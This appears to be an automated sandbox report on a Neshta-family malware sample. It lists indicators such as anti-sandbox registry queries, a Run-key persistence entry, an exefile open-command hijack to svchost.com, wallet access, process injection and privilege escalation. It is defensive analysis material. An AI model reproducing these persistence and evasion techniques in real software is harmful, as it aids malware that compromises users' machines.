neshta | 5f30eae71c1b0d08e7ec5adfc9a0dc98078595502b60a584a8df5cdf8cacf7fa

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3008624.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3793839.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	cyYCSr3ILgYH2wPuEmkkm7Iq.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rE6qfWjmZ04VIU1xLyMd020N.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8093863.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3008624.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rE6qfWjmZ04VIU1xLyMd020N.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	j8JAB3Ats17FnqM4UJC7cVnM.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	IT8L2QGXCIvH7XRk93Y_kt6r.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8093863.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	mwKikcq2xl69TAgDMhO3qm75.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	j8JAB3Ats17FnqM4UJC7cVnM.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3793839.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	cyYCSr3ILgYH2wPuEmkkm7Iq.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	mwKikcq2xl69TAgDMhO3qm75.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	IT8L2QGXCIvH7XRk93Y_kt6r.exe

Loads dropped DLL 10 IoCs

pid	Process
1880	setup_install.exe
1880	setup_install.exe
1880	setup_install.exe
1880	setup_install.exe
1880	setup_install.exe
1316	rundll32.exe
5272	setup.tmp
5592	setup.tmp
5432	rundll32.exe
4176	rundll32.exe

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x000300000002b1cf-310.dat	themida
behavioral1/files/0x000300000002b1cf-331.dat	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	3915086.scr

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 8 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3008624.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3793839.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mwKikcq2xl69TAgDMhO3qm75.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cyYCSr3ILgYH2wPuEmkkm7Iq.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rE6qfWjmZ04VIU1xLyMd020N.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IT8L2QGXCIvH7XRk93Y_kt6r.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	j8JAB3Ats17FnqM4UJC7cVnM.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	8093863.scr

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 6 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ipinfo.io
51	ipinfo.io
134	ipinfo.io
162	ipinfo.io
163	ipinfo.io
2	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
912	8093863.scr
5852	3008624.scr
6100	3793839.scr
5624	mwKikcq2xl69TAgDMhO3qm75.exe
1560	cyYCSr3ILgYH2wPuEmkkm7Iq.exe
1096	rE6qfWjmZ04VIU1xLyMd020N.exe
5656	j8JAB3Ats17FnqM4UJC7cVnM.exe
1504	IT8L2QGXCIvH7XRk93Y_kt6r.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2516 set thread context of 908	2516	Mon20927aab1e5.exe	115
PID 4276 set thread context of 1368	4276	Mon209c830507d573.exe	116

Drops file in Program Files directory 8 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	P6YkmaKp0ggZEDH6iXwn22Zj.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-PVAQC.tmp	setup.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	P6YkmaKp0ggZEDH6iXwn22Zj.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe	P6YkmaKp0ggZEDH6iXwn22Zj.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst3.exe	P6YkmaKp0ggZEDH6iXwn22Zj.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	P6YkmaKp0ggZEDH6iXwn22Zj.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File opened for modification	C:\Windows\svchost.com	PtYuG7i3Tu04_el4SaaWSeve.exe
File opened for modification	C:\Windows\directx.sys	4157100.scr
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 26 IoCs

pid	pid_target	Process	procid_target
3708	4384	WerFault.exe	104
2432	2176	WerFault.exe	100
852	2664	WerFault.exe	109
5316	1316	WerFault.exe	137
5544	1260	WerFault.exe	126
1552	5632	WerFault.exe	152
3068	2684	WerFault.exe	219
4920	1596	WerFault.exe	187
3404	1536	WerFault.exe	204
2796	1488	WerFault.exe	197
5820	5404	WerFault.exe	190
6616	1816	WerFault.exe	198
7032	2176	WerFault.exe	186
3388	1240	WerFault.exe	270
2844	5712	WerFault.exe	271
5700	1184	WerFault.exe	307
5504	5856	WerFault.exe	326
14396	7004	WerFault.exe	333
14580	5776	WerFault.exe	334
15256	14012	WerFault.exe	357
15300	14060	WerFault.exe	356
6756	1192	WerFault.exe	384
5800	1888	WerFault.exe	381
4964	15056	WerFault.exe	372
6488	15268	WerFault.exe	377
1784	14444	WerFault.exe	363

Checks processor information in registry 2 TTPs 42 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2904	schtasks.exe
1512	schtasks.exe
3128	schtasks.exe
6992	schtasks.exe
15048	schtasks.exe
4380	schtasks.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
5152	taskkill.exe
7564	taskkill.exe

Modifies data under HKEY_USERS 43 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	sihclient.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	sihclient.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	sihclient.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 4 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	PtYuG7i3Tu04_el4SaaWSeve.exe
Key created	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000_Classes\Local Settings	Mon20d3b8b752.exe
Key created	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000_Classes\Local Settings	Chrome 5.exe
Key created	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000_Classes\Local Settings	JNTOQR~1.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1320	powershell.exe
1320	powershell.exe
1320	powershell.exe
912	8093863.scr
912	8093863.scr
5016	6697327.scr
5016	6697327.scr
2432	WerFault.exe
2432	WerFault.exe
3708	WerFault.exe
3708	WerFault.exe
852	WerFault.exe
852	WerFault.exe
5316	WerFault.exe
5316	WerFault.exe
2216	1297788.scr
2216	1297788.scr
5616	1917435.scr
5616	1917435.scr
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
4964	Mon20d3b8b752.exe
2216	1297788.scr
5592	setup.tmp
5592	setup.tmp
5016	6697327.scr
5852	3008624.scr
5852	3008624.scr
6100	3793839.scr
6100	3793839.scr
5544	WerFault.exe
5544	WerFault.exe
1860	WerFault.exe
1860	WerFault.exe
5616	1917435.scr
1552	WerFault.exe
1552	WerFault.exe
1860	WerFault.exe
4064	J_9m76Jn9H06Sp64eQZygrcD.exe
4064	J_9m76Jn9H06Sp64eQZygrcD.exe
4064	J_9m76Jn9H06Sp64eQZygrcD.exe
4064	J_9m76Jn9H06Sp64eQZygrcD.exe
4064	J_9m76Jn9H06Sp64eQZygrcD.exe
4064	J_9m76Jn9H06Sp64eQZygrcD.exe
4064	J_9m76Jn9H06Sp64eQZygrcD.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
4672	6498711.scr

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSystemtimePrivilege	4640	svchost.exe
Token: SeSystemtimePrivilege	4640	svchost.exe
Token: SeIncBasePriorityPrivilege	4640	svchost.exe
Token: SeDebugPrivilege	4872	Mon209b3da1556b9a317.exe
Token: SeDebugPrivilege	1320	powershell.exe
Token: SeDebugPrivilege	3740	Mon206d48916f93c5.exe
Token: SeRestorePrivilege	3708	WerFault.exe
Token: SeBackupPrivilege	3708	WerFault.exe
Token: SeBackupPrivilege	3708	WerFault.exe
Token: SeDebugPrivilege	4164	DownFlSetup110.exe
Token: SeDebugPrivilege	1436	4.exe
Token: SeDebugPrivilege	5016	6697327.scr
Token: SeDebugPrivilege	5152	taskkill.exe
Token: SeDebugPrivilege	2216	1297788.scr
Token: SeDebugPrivilege	5616	1917435.scr
Token: SeDebugPrivilege	1368	Mon209c830507d573.exe
Token: SeDebugPrivilege	1860	WerFault.exe
Token: SeDebugPrivilege	912	8093863.scr
Token: SeIncreaseQuotaPrivilege	1320	powershell.exe
Token: SeSecurityPrivilege	1320	powershell.exe
Token: SeTakeOwnershipPrivilege	1320	powershell.exe
Token: SeLoadDriverPrivilege	1320	powershell.exe
Token: SeSystemProfilePrivilege	1320	powershell.exe
Token: SeSystemtimePrivilege	1320	powershell.exe
Token: SeProfSingleProcessPrivilege	1320	powershell.exe
Token: SeIncBasePriorityPrivilege	1320	powershell.exe
Token: SeCreatePagefilePrivilege	1320	powershell.exe
Token: SeBackupPrivilege	1320	powershell.exe
Token: SeRestorePrivilege	1320	powershell.exe
Token: SeShutdownPrivilege	1320	powershell.exe
Token: SeDebugPrivilege	1320	powershell.exe
Token: SeSystemEnvironmentPrivilege	1320	powershell.exe
Token: SeRemoteShutdownPrivilege	1320	powershell.exe
Token: SeUndockPrivilege	1320	powershell.exe
Token: SeManageVolumePrivilege	1320	powershell.exe
Token: 33	1320	powershell.exe
Token: 34	1320	powershell.exe
Token: 35	1320	powershell.exe
Token: 36	1320	powershell.exe
Token: SeDebugPrivilege	5852	3008624.scr
Token: SeDebugPrivilege	6100	3793839.scr
Token: SeCreateTokenPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeAssignPrimaryTokenPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeLockMemoryPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeIncreaseQuotaPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeMachineAccountPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeTcbPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeSecurityPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeTakeOwnershipPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeLoadDriverPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeSystemProfilePrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeSystemtimePrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeProfSingleProcessPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeIncBasePriorityPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeCreatePagefilePrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeCreatePermanentPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeBackupPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeRestorePrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeShutdownPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeDebugPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeAuditPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeSystemEnvironmentPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeChangeNotifyPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe
Token: SeRemoteShutdownPrivilege	1816	S2rGi2OR_JJCsZun00rjDxzw.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5592	setup.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 476 wrote to memory of 1192	476	setup_x86_x64_install.exe	84
PID 476 wrote to memory of 1192	476	setup_x86_x64_install.exe	84
PID 476 wrote to memory of 1192	476	setup_x86_x64_install.exe	84
PID 1192 wrote to memory of 1880	1192	setup_installer.exe	85
PID 1192 wrote to memory of 1880	1192	setup_installer.exe	85
PID 1192 wrote to memory of 1880	1192	setup_installer.exe	85
PID 1880 wrote to memory of 5076	1880	setup_install.exe	89
PID 1880 wrote to memory of 5076	1880	setup_install.exe	89
PID 1880 wrote to memory of 5076	1880	setup_install.exe	89
PID 5076 wrote to memory of 1320	5076	cmd.exe	90
PID 5076 wrote to memory of 1320	5076	cmd.exe	90
PID 5076 wrote to memory of 1320	5076	cmd.exe	90
PID 1880 wrote to memory of 1308	1880	setup_install.exe	91
PID 1880 wrote to memory of 1308	1880	setup_install.exe	91
PID 1880 wrote to memory of 1308	1880	setup_install.exe	91
PID 1880 wrote to memory of 1016	1880	setup_install.exe	97
PID 1880 wrote to memory of 1016	1880	setup_install.exe	97
PID 1880 wrote to memory of 1016	1880	setup_install.exe	97
PID 1880 wrote to memory of 3164	1880	setup_install.exe	92
PID 1880 wrote to memory of 3164	1880	setup_install.exe	92
PID 1880 wrote to memory of 3164	1880	setup_install.exe	92
PID 1880 wrote to memory of 2080	1880	setup_install.exe	93
PID 1880 wrote to memory of 2080	1880	setup_install.exe	93
PID 1880 wrote to memory of 2080	1880	setup_install.exe	93
PID 1880 wrote to memory of 2104	1880	setup_install.exe	94
PID 1880 wrote to memory of 2104	1880	setup_install.exe	94
PID 1880 wrote to memory of 2104	1880	setup_install.exe	94
PID 1880 wrote to memory of 1520	1880	setup_install.exe	95
PID 1880 wrote to memory of 1520	1880	setup_install.exe	95
PID 1880 wrote to memory of 1520	1880	setup_install.exe	95
PID 1880 wrote to memory of 1464	1880	setup_install.exe	96
PID 1880 wrote to memory of 1464	1880	setup_install.exe	96
PID 1880 wrote to memory of 1464	1880	setup_install.exe	96
PID 1880 wrote to memory of 3008	1880	setup_install.exe	112
PID 1880 wrote to memory of 3008	1880	setup_install.exe	112
PID 1880 wrote to memory of 3008	1880	setup_install.exe	112
PID 1880 wrote to memory of 2200	1880	setup_install.exe	98
PID 1880 wrote to memory of 2200	1880	setup_install.exe	98
PID 1880 wrote to memory of 2200	1880	setup_install.exe	98
PID 1880 wrote to memory of 2148	1880	setup_install.exe	99
PID 1880 wrote to memory of 2148	1880	setup_install.exe	99
PID 1880 wrote to memory of 2148	1880	setup_install.exe	99
PID 1880 wrote to memory of 2064	1880	setup_install.exe	111
PID 1880 wrote to memory of 2064	1880	setup_install.exe	111
PID 1880 wrote to memory of 2064	1880	setup_install.exe	111
PID 1308 wrote to memory of 1816	1308	cmd.exe	110
